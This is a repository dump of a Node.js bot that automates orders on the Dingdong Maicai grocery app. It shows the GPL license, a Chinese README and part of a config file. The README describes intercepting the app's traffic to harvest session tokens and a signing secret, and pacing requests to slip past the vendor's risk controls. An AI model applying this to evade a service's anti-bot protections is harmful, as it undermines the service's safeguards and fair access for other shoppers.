main b41cfa3e182c cached
32 files
105.6 KB
26.2k tokens
7 symbols
1 requests
Download .txt
Repository: Runc2333/dingdong-helper-node
Branch: main
Commit: b41cfa3e182c
Files: 32
Total size: 105.6 KB

Directory structure:
gitextract_phz2rsjm/

├── .eslintrc.json
├── .gitignore
├── LICENSE
├── README.md
├── charles_sessions/
│   └── .gitkeep
├── config/
│   └── config.example.js
├── package.json
├── scripts/
│   └── checkout_cart.js
├── service/
│   ├── dingdong/
│   │   ├── api/
│   │   │   ├── applet/
│   │   │   │   ├── _applet_sign.js
│   │   │   │   ├── add_new_order.js
│   │   │   │   ├── add_to_cart.js
│   │   │   │   ├── cart_check_all.js
│   │   │   │   ├── check_order.js
│   │   │   │   ├── get_address.js
│   │   │   │   ├── get_cart.js
│   │   │   │   ├── get_category_detail.js
│   │   │   │   ├── get_category_list.js
│   │   │   │   ├── get_multi_reserve_time.js
│   │   │   │   └── search_product.js
│   │   │   └── ios-native/
│   │   │       ├── add_new_order.js
│   │   │       ├── cart_check_all.js
│   │   │       ├── check_order.js
│   │   │       ├── get_address.js
│   │   │       ├── get_cart.js
│   │   │       └── get_multi_reserve_time.js
│   │   └── index.js
│   ├── session_parser.js
│   └── webhook.js
└── utils/
    ├── autoloader.js
    ├── axios.js
    ├── logger.js
    └── tools.js

================================================
FILE CONTENTS
================================================

================================================
FILE: .eslintrc.json
================================================
{
    "env": {
        "commonjs": true,
        "es2021": true,
        "node": true
    },
    "extends": "eslint:recommended",
    "parserOptions": {
        "ecmaVersion": "latest"
    },
    "rules": {
        "no-unused-vars": "error",
        "semi": "error",
        "no-unexpected-multiline": "error",
        "space-before-function-paren": [
            "error",
            "always"
        ]
    },
    "globals": {
        "tools": "readonly",
        "config": "readonly",
        "logger": "readonly",
        "axios": "readonly"
    }
}

================================================
FILE: .gitignore
================================================
node_modules
charles_sessions/*.chlsj
config/config.js
log/*
*.log
service/dingdong/cache/*
scripts/test.js
service/dingdong/api/ios-native/_native_sign.js
service/dingdong/api/ios-native/_native_sign.encrypted.js

================================================
FILE: LICENSE
================================================
                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <https://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.


================================================
FILE: README.md
================================================
# 叮咚买菜抢菜助手(Node.js)
![available](https://img.shields.io/badge/%E9%A1%B9%E7%9B%AE%E5%BD%93%E5%89%8D%E7%8A%B6%E6%80%81-deprecated-red.svg "项目当前存在安全风险") ![api_version](https://img.shields.io/badge/API%20version-9.50.1-blue.svg "9.50.1") ![code_size](https://shields.io/github/languages/code-size/Runc2333/dingdong-helper-node) ![last_updayed](https://shields.io/github/last-commit/Runc2333/dingdong-helper-node)

> Deprecated: 因部分用户无法理解本项目的出发点,自此commit后本仓库将转化为只读,且签名算法不可用。
>
> 感谢所有先前使用过、听说过、参与过的用户的支持,有缘江湖再见。

使用iOS客户端原生API,支持高峰期下单、支持捡漏、支持多账号、支持webhook通知(需自行实现对端)

Telegram 交流群组:[点击加入](https://t.me/weneedfood)

## 写在前面

本项目旨在帮助更多的人能吃上饭,吃上饱饭。虽许可证允许,但我们*不支持*您通过本项目牟利。

若您在满足自身需求后仍有余力,请更多的帮助身边的人,尤其是独居老人。

**写给叮咚买菜官方**:本项目已尽最大努力防止贵司利益受损,包括但不限于签名算法、接口参数等。如若贵司认为本项目侵犯了贵司的权益,请邮件联系 `i@runc321.com`,我们将会停用本项目。

少让程序员加班,从你我做起。

## 2022-05-01 重大更新

> 后续更新日志不会写到这里,如确需了解,请查阅 commits
>
> 建议每次更新后都执行一次依赖安装,并执行一次任意 script 检查控制台是否提示更新配置文件

**使用iOS原生客户端API,下单与iOS真机无差异,已测试可成功下单。**

**请注意:** 更新后配置文件结构有更改,需要重新配置。

     更新前的 Session 文件不继续适用于本项目,请重新获取。

特别感谢 [@IMLR](https://github.com/IMLR) 完成的`sesi`和`nars`签名算法分析。

## 配置项目

### 安装依赖

>  若您没有 `node.js` 运行环境,请先安装 `node.js` 
>
>  随后执行 `npm i yarn -g` (此命令可能需要管理员特权) 来全局安装`yarn`

**在项目根目录启动终端,并执行如下命令以安装依赖:**


```
yarn
```


### 更改设置

1、将项目`config/config.example.js`复制一份为`config/config.js`

2、修改其中提供的选项

```js
webhook_url: '', // 下单成功通知url,暂无配套实现,可自行继承,详情请阅读后文 Webhook 部分
thread_count: 2, // 下单时创建的线程数,建议不要超过3
thread_interval: 100, // 线程创建间隔,建议不要低于100,单位ms
submit_interval_min: 20 * 1000, // 随机最小请求间隔时间,单位ms
submit_interval_max: 50 * 1000, // 随机最大请求间隔时间,单位ms
minimal_order_money: 0, // 小于该金额的订单不会被提交
api_channel: 'ios-native', // 可选 'ios-native', 'android-native' 或 'applet', 目前仅支持 'ios-native'
profiles: [
    {
        seq: 0, // 指示程序读取charles_sessions目录下的第几个文件
        im_secret: '',// 通过抓包获取,用于签名请求,获取请参见下文
        alias: '', // 配置文件别名,用于在下单成功时提示是哪个账号
    }
],
```
### 获取 Session

> 如果无法找到所列出的请求,请参见后文 iOS 设备 Charles 抓包帮助

1、在**iOS设备**上启动叮咚买菜APP

2、完成登录

3、启动Charles并完成抓包配置(需要配置SSL抓包)

4、点击“购物车”并刷新

5、在请求中找到`https://maicai.api.ddxq.mobi/cart/index`

6、右击该请求,选择`Export Session`,保存到项目`charles_sessions`文件夹下,文件类型请选择`JSON Session File (.chlsj)`

### 获取 im_secret

接续 获取 Session 第三步

4、点击“我的”并刷新

5、在请求中找到`https://sunquan.api.ddxq.mobi/api/v1/user/detail`

6、左击该请求,选择`Contents`选项卡,在下半部分选项卡中选择`JSON Text`视图

7、找到`user_info`下的`im_secret`字段,复制其值到配置文件中

## 可用执行选项

### 速抢模式

> 建议抢菜高峰(06:00, 08:30)前一分钟启动,运行不要超过三分钟,否则账号会被风控
>
> 本项目不支持,也不会支持定时运行,所有执行选项都应在有人值守的情况下使用

```
yarn checkout:speed
```

### 捡漏模式

> 建议运行不要超过一小时,否则极易被封号
>
> 配置文件内可调请求间隔,默认20s ~ 50s随机
>
> 捡漏模式中的下单步骤不受请求间隔限制,默认逻辑为同时满足购物车有货和配送时间可用时疯狂下单,因此请勿在无人值守的情况下运行

```
yarn checkout:normal
```

## iOS 设备 Charles 抓包帮助

因应用可主动选择不使用系统http代理,因此您需要一个第三方应用程序来实现抓包。

由 [@iiwen](https://github.com/iiwen) 撰写的 [完整图文抓包教程参见](https://www.jianshu.com/p/0191790ba30e)

## Webhook

> 您需要根据所使用的客户端,自行修改源代码进行适配

默认情况下,在您配置好 `webhook_url` 后,下单成功时会向该地址发送一个 `POST` 请求, `body` 为 `JSON` 格式,包含如下字段:

```js
{
	profile: '测试', // 配置文件中填写的别名
	price: 0.01, // 本次下单金额
	arrival_time: '14:30-22:00', // 本次下单的预约时间
	raw: {
		cart: ..., // 原始的购物车数据
		order: ..., // 原始的订单数据
		reserve_time: ..., // 原始的预约时间数据
	}
}
```

您可以通过修改 `/service/webhook.js` 来改变请求发送的方式、 `body` 的格式和内容,但入参(`{ profile, order, reserve_time, cart }`)不能修改。

## 下单成功提示音

下单成功时会播放`/assets/success.mp3`,默认为小猪佩奇,可自行替换。

如需关闭,请前往 `/scripts/checkout_cart.js` 自行注释相关代码。

## 免责声明

本程序使用 GNU General Public License v3.0 开源、不提供任何担保。使用本程序即表明,您知情并同意:

- 使用本程序造成的一切后果由您本人承担,作者不会对您的任何损失负责,包括但不限于服务中断、Kernel Panic、机器无法开机或正常使用、数据丢失或硬件损坏、原子弹爆炸、第三次世界大战、SCP 基金会无法阻止 SCP-3125 引发的全球 MK 级现实重构等
- 如若您修改了本程序并发布,您需要使用相同协议开源
- 本程序中的所有签名算法不受项目许可证约束,不允许二次修改和分发。若确有需求,请在 Telegram 交流群内联系我。

================================================
FILE: charles_sessions/.gitkeep
================================================


================================================
FILE: config/config.example.js
================================================
global.config = {
    dingdong: {
        webhook_url: '', // 下单成功通知url,暂无配套实现,如未阅读源码请**不要**填写
        thread_count: 2, // 下单时创建的线程数,建议不要超过3
        thread_interval: 100, // 线程创建间隔,建议不要低于100,单位ms
        submit_interval_min: 20 * 1000, // 随机最小请求间隔时间,单位ms
        submit_interval_max: 50 * 1000, // 随机最大请求间隔时间,单位ms
        minimal_order_money: 0, // 小于该金额的订单不会被提交
